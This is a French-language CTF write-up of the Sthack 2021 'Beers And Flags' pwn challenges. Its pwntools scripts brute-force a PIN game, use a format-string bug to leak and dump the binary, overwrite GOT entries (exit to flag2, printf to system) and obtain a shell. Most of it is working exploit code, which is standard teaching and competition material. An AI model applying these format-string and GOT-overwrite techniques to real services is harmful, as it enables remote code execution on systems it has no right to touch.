ZenSecCTF Team

ZenSec CTF Team write up page

26 October 2021

Série - Beers And Flags

by Karzemrok, Vaelio

Partie 1 - Gagner 42 fois

En accédant au challenge, on voit que pour avoir le flag il faudra trouver un bon code pin à 4 chiffres 42 fois. Si le PIN est bon, on recevra “4B0F”.

$ nc localhost 1234

Beers & Flags
Enjoy the GAME :) 

How to play ? :
	 - you win if you find 4 beers (4B0F)
	 - all digits in the number must be unique
	 - number cannot start with 0 but can contain it
	 - if you enter more than 4 digits the rest will be ignored
	 - if you win 42 times, I'll give you a gift :) 
	 - to exit press 'ctrl + c'

guess the 4 digit number:
1234
	0B3F (try #1)

Le plus simple est de faire une itération de 1000 à 9999 (le PIN ne peut pas commencer par 0) et de vérifier à chaque fois si le pin correspond aux règles énoncées. Une fois les 42 PIN trouvés on regardera ce qu’il se passe.

from pwn import *

def is_good_number(number):
    return len(set([n for n in str(number)])) == 4

r = remote('localhost', 1234, level='error')
r.recvuntil(b'guess the 4 digit number:\n')

win = 0
progress = log.progress('Try to win ')
while win < 42:
    for n in range(1000, 10000):
        if is_good_number(n):
            progress.status(str(win)+"/"+str(n))
            r.send(str(n)+"\n".encode())
            res = p.recvuntil(b'\n')
            if b'4B0F' in res:
                win +=1
                if win == 42: 
                    r.interactive()
                else:
                    r.recvuntil(b'guess the 4 digit number:\n')
                break
[+] Opening connection to localhost on port 1234: Done
[+] Try to win : 41/7531
[*] Switching to interactive mode

you win 42 times with 3328 tries, keep going on :) 
Well played !!
 Here is your flag : 
STHACK{....}

Partie 2 - Dump le Binaire

Pour la partie 2, le nombre de victoires nécessaires est à 1. De plus, on nous indique un problème avec printf. Il va falloir ici récupérer le binaire en passant par une “format string”.

La première étape d’une “format string” est de trouver l’offset à partir duquel, nous pourrons ensuite manipuler une adresse à lire ou écrire.

Pour cela, on va utiliser la notation suivante :

JUNKDATA|%{}$p|

On incrémentera à chaque tour de boucle.

Il nous faut également une fonction permettant d’exploiter la “format string” avec le payload spécifique.

from pwn import *

def is_good_number(number):
    return len(set([n for n in str(number)])) == 4

def send_payload(payload):
    r = remote('localhost', 1234, level='error')
    r.recvuntil(b'guess the 4 digit number:\n')
    for n in range(1000, 10000):
        if is_good_number(n):
            r.send(str(n).encode()+b"\n")
            res = r.recvuntil(b'\n')
            if b'4B0F' in res:
                try:
                    r.recvuntil(b'Enter your nickname for scoreboard :')
                    r.sendline(payload)
                    r.recvuntil(b'#3 - \n')
                    leak = r.recvuntil(b'\n')
                    r.close()
                    return leak
                except:
                    return ""

progress = log.progress('Looking for format string offset')

JUNK = ""
OFFSET = 0

for i in range(50):
    progress.status(str(i))
    g = cyclic_gen()
    res = send_payload(g.get(8)+"|%{}$p|".format(str(i)).encode()).split(b'|')[1]
    if res.startswith(b'0x'):
        if g.find(int(res, 16))[0] > -1:
            OFFSET = i
            JUNK = b"A"*g.find(int(res, 16))[0]
            break

progress.success(str(OFFSET))

Avec un script comme celui-ci, nous trouvons un offset de 17.

Maintenant que nous avons notre offset, nous pouvons essayer de lire à l’adresse 0x8048000 qui est une adresse de base classique pour un programme 32bit (on sait que c’est du 32bit grâce à notre recherche d’offset qui à fait fuiter quelques adresses de la mémoire)

L’adresse de base contenant l’opcode \x00, nous ne pourrons pas le faire fuiter puisque notre payload sera tronqué. Nous allons donc lire l’adresse suivante.

def memleak(offset, junk, addr):
    try:
        res = send_payload(junk+pack(addr)+"|%{}$s|".format(offset).encode())
        return b''.join(res.split(b'|')[1:-1])+b"\x00"
    except:
        return b"\x00"

print(memleak(OFFSET, JUNK, 0x8048001))

On a bien une valeur commençant par ELF, on est donc prêt à récuperer le binaire.

Pour ne pas dumper le binaire plus précisément, nous allons récupérer quelques infos de l’entête ELF:

Avec ces différentes valeurs, il est possible de calculer la taille totale du binaire.

e_shoff = memleak(OFFSET, JUNK, 0x8048000+0x20)
e_shoff = e_shoff[1]*256+e_shoff[0]
log.info("e_shoff: {}".format(e_shoff))
e_shentsize = memleak(OFFSET, JUNK, 0x8048000+0x2e)[0]
log.info("e_shentsize: {}".format(e_shentsize))
e_shnum = memleak(OFFSET, JUNK, 0x8048000+0x30)[0]
log.info("e_shnum: {}".format(e_shnum))
filesize = e_shoff+e_shentsize*e_shnum
log.info("filesize: {}".format(filesize))

p = log.progress('Leaking the binary')
offset = 0
while not offset>filesize:
    ADDR = 0x8048000+offset
    p.status("({}/{}) {}".format(offset, filesize, hex(ADDR)))
    res = memleak(OFFSET, JUNK, ADDR)
    if len(res) == 0:
        res = b"\x00"
    with open('bin', 'ab') as binary:
        binary.write(res)
    offset += len(res)
p.success('OK')

Une fois le binaire récupéré (les adresses qui ne contiennent pas l’opcode \x00), on peut trouver le flag dans le binaire.

Partie 3 - Execution d’une fonction interne

Le binaire est disponible pour cette partie : beersandflags_2

Pour accéder au flag numéro 3, il va falloir forcer le binaire à passer dans une fonction. La fonction “flag2” va exécuter la commande cat /home/ctf/flag2.txt

La manière la plus simple de réussir à aller dans cette fonction est de réécrire l’adresse de exit avec l’adresse de flag2, ou celle d’un call vers cette fonction.

On peut voir que l’adresse de exit commence par 0x0804 ce qui va nous permettre de pouvoir réecrire seulement deux octets de l’adresse

Le payload pour la “format string” va être le suivant :

JUNK EXIT@GOT %PADDINGx%OFFSET$hn

L’opération $hn va écrire le nombre d’octets de l’input, à l’adresse pointé par l’offset. Pour augmenter artificiellement la taille de l’input, on utilise la notation %PADDINGx% ou PADDING vaut la valeur à définir à laquelle on soustrait le JUNK et la taille de l’adresse.

On va aussi en profiter pour ajouter un mode interactif à notre fonction send_payload pour pouvoir lire le flag et ça sera utile pour la suite :

def send_payload(payload, interactive=False):
    r = remote('localhost', 1234, level='error')
    r.recvuntil(b'guess the 4 digit number:\n')
    for n in range(1000, 10000):
        if is_good_number(n):
            r.send(str(n).encode()+b"\n")
            res = r.recvuntil(b'\n')
            if b'4B0F' in res:
                try:
                    r.recvuntil(b'Enter your nickname for scoreboard :')
                    r.sendline(payload)
                    r.recvuntil(b'#3 - \n')
                    if interactive:
                        r.interactive()
                    leak = r.recvuntil(b'\n')
                    r.close()
                    return leak
                except:
                    return ""

On peut maintenant écrire une fonction de write_what_where et écrire l’adresse du call à la fonction “flag2” à l’adresse de “exit

def write_what_where(what, where, offset, junk=b""):
   return junk+pack(where)+"%{}x%{}$hn".format(what-len(junk)-4 ,offset).encode()

send_payload(write_what_where(0x99a6, 0x804c02c, OFFSET, JUNK), True)

Partie 3 - Obtention d’un shell

Le binaire est disponible pour cette partie : beersandflags_4

Pour obtenir un shell, il va falloir envoyer plusieurs payloads. Pour ce faire, il va falloir faire en sorte que le binaire passe plusieurs fois par la fonction printf vulnérable. On peut par exemple replacer l’adresse de la fonction “exit” par l’adresse de la fonction “main”. De cette manière, au lieu de quitter, le programme va redémarrer, mais en gardant l’état de nos modifications.

Contrairement aux autres parties, nous allons devoir réutiliser la même instance du binaire, il va falloir modifier la fonction “send_payload

def send_payload(r, payload, interactive=False):
    r.recvuntil(b'guess the 4 digit number:\n')
    ...

Notre début de script peut donc être:

def get_remote():
    return remote('localhost', 1234, level='error')
    
r = get_remote()
send_payload(r, write_what_where(0x99d1, 0x804c02c, OFFSET, JUNK))

Pour exécuter une commande, on peut remplacer “printf@libc”” par “system@libc”. De cette manière, quand nous accèderons au scoreboard, nous pourrons mettre la commande de notre choix et cette commande sera exécutée. Par contre, tous les appels à printf vont aussi déclencher un appel à system ce qui va créer pas mal d’erreur dans notre output.

Il faut d’abord récupérer l’adresse de “**system@libc”. Dans la GOT, c’est l’adresse 0x804c028

system_libc = unpack(memleak(r, OFFSET, JUNK, 0x804c028)[:4])
log.info("system@libc: "+hex(system_libc))

Nous allons modifier notre fonction write_what_where pour supporter des écritures d’adresses plus longues.

def write_what_where(what, where, offset, junk=b""):
    if what < 65535:
        return junk+pack(where)+"%{}x%{}$hn".format(what-len(junk)-4 ,offset).encode()
    else:
        first = what % 0x10000
        second = int(what / 0x10000)
        payload = junk+pack(where)+pack(where+2)
        len_payload = len(payload)
        payload += "%{}x%{}$hn".format(first-len_payload, str(offset))
        second_len = second-first if first < second else 0x10000-first+second
        payload += "%{}x%{}$hn".format(second_len, str(offset+1))
        return payload

Grâce à cette fonction, nous allons écrire l’adresse en deux temps. Cette fonction ne fonctionne que si les deux premiers octets du pointer ont une valeur supérieure aux deux derniers.

send_payload(r, write_what_where(system_libc, 0x804c010, OFFSET, JUNK))
log.success("printf@libc -> system@libc")

Maintenant que printf est devenu system, notre fonction send_payload n’est plus fonctionnelle. On va donc en écrire une spécialement pour cette étape.

def send_payload_system(r):
    progress = log.progress('Try to win and get a shell')
    for n in range(1000, 10000):
        if is_good_number(n):
            progress.status(str(n))
            r.send(str(n).encode()+b"\n")
            res = r.recvuntil(b'Enter your nickname for scoreboard :', timeout=0.01)
            if b'Enter your nickname' in res:
                progress.success('Win !')
                r.interactive()
                return

On a plus qu’à l’appeler et à attendre notre shell

send_payload_system(r)

Voici le script final avec chaque step dans une fonction particulière

from pwn import *

def is_good_number(number):
    return len(set([n for n in str(number)])) == 4

def get_remote():
    return remote('localhost', 1234, level='error')

def send_payload(r, payload, interactive=False):
    if r is None:
        r = get_remote()
        close = True
    else:
        close = False
    r.recvuntil(b'guess the 4 digit number:\n')
    for n in range(1000, 10000):
        if is_good_number(n):
            r.send(str(n).encode()+b"\n")
            res = r.recvuntil(b'\n')
            if b'4B0F' in res:
                try:
                    r.recvuntil(b'Enter your nickname for scoreboard :')
                    r.sendline(payload)
                    r.recvuntil(b'#3 - \n')
                    if interactive:
                        r.interactive()
                    leak = r.recvuntil(b'\n')
                    if close:
                        r.close()
                    return leak
                except:
                    return ""

def send_payload_system(r):
    progress = log.progress('Try to win and get a shell')
    for n in range(1000, 10000):
        if is_good_number(n):
            progress.status(str(n))
            r.send(str(n).encode()+b"\n")
            res = r.recvuntil(b'Enter your nickname for scoreboard :', timeout=0.01)
            if b'Enter your nickname' in res:
                progress.success('Win !')
                r.interactive()
                return

progress = log.progress('Looking for format string offset')

JUNK = ""
OFFSET = 0

for i in range(50):
    progress.status(str(i))
    g = cyclic_gen()
    res = send_payload(get_remote(), g.get(8)+"|%{}$p|".format(str(i)).encode()).split(b'|')[1]
    if res.startswith(b'0x'):
        if g.find(int(res, 16))[0] > -1:
            OFFSET = i
            JUNK = b"A"*g.find(int(res, 16))[0]
            break
        

progress.success(str(OFFSET))

def memleak(r, offset, junk, addr):
    try:
        res = send_payload(r, junk+pack(addr)+"|%{}$s|".format(offset).encode())
        return b''.join(res.split(b'|')[1:-1])+b"\x00"
    except:
        return b"\x00"

def write_what_where(what, where, offset, junk=b""):
    if what < 65535:
        return junk+pack(where)+"%{}x%{}$hn".format(what-len(junk)-4 ,offset).encode()
    else:
        first = what % 0x10000
        second = int(what / 0x10000)
        payload = junk+pack(where)+pack(where+2)
        len_payload = len(payload)
        payload += "%{}x%{}$hn".format(first-len_payload, str(offset)).encode()
        second_len = second-first if first < second else 0x10000-first+second
        payload += "%{}x%{}$hn".format(second_len, str(offset+1)).encode()
        return payload

def solve_level_2(OFFSET, JUNK):
    e_shoff = memleak(None, OFFSET, JUNK, 0x8048000+0x20)
    e_shoff = e_shoff[1]*256+e_shoff[0]
    log.info("e_shoff: {}".format(e_shoff))
    e_shentsize = memleak(None, OFFSET, JUNK, 0x8048000+0x2e)[0]
    log.info("e_shentsize: {}".format(e_shentsize))
    e_shnum = memleak(None, OFFSET, JUNK, 0x8048000+0x30)[0]
    log.info("e_shnum: {}".format(e_shnum))
    filesize = e_shoff+e_shentsize*e_shnum
    log.info("filesize: {}".format(filesize))

    p = log.progress('Leaking the binary')
    offset = 0
    while not offset>filesize:
        ADDR = 0x8048000+offset
        p.status("({}/{}) {}".format(offset, filesize, hex(ADDR)))
        res = memleak(None, OFFSET, JUNK, ADDR)
        with open('bin', 'ab') as binary:
            binary.write(res)
        offset += len(res)
    p.success('OK')

def solve_level_3(OFFSET, JUNK):
    payload = write_what_where(0x99a6, 0x804c02c, OFFSET, JUNK)
    send_payload(None, payload, True)

def solve_level_4(OFFSET, JUNK):
    r = get_remote()
    send_payload(r, write_what_where(0x99d1, 0x804c02c, OFFSET, JUNK))
    system_libc = unpack(memleak(r, OFFSET, JUNK, 0x804c028)[:4])
    log.info("system@libc: "+hex(system_libc))
    send_payload(r, write_what_where(system_libc, 0x804c010, OFFSET, JUNK))
    log.success("printf@libc -> system@libc")
    send_payload_system(r)
    return
    
#solve_level_2(OFFSET, JUNK)
#solve_level_3(OFFSET, JUNK)
solve_level_4(OFFSET, JUNK)

Cette exploitation aurait pu être simplifiée en utilisant un peu plus pwnlib. Cependant, savoir le faire à la main avant d’utiliser ce genre d’outils est intéressant pour bien comprendre ce qu’il se passe.

<< Hardware - Trouver le flag dans le badge
tags: sthack2021 - programmation - pwn - ctf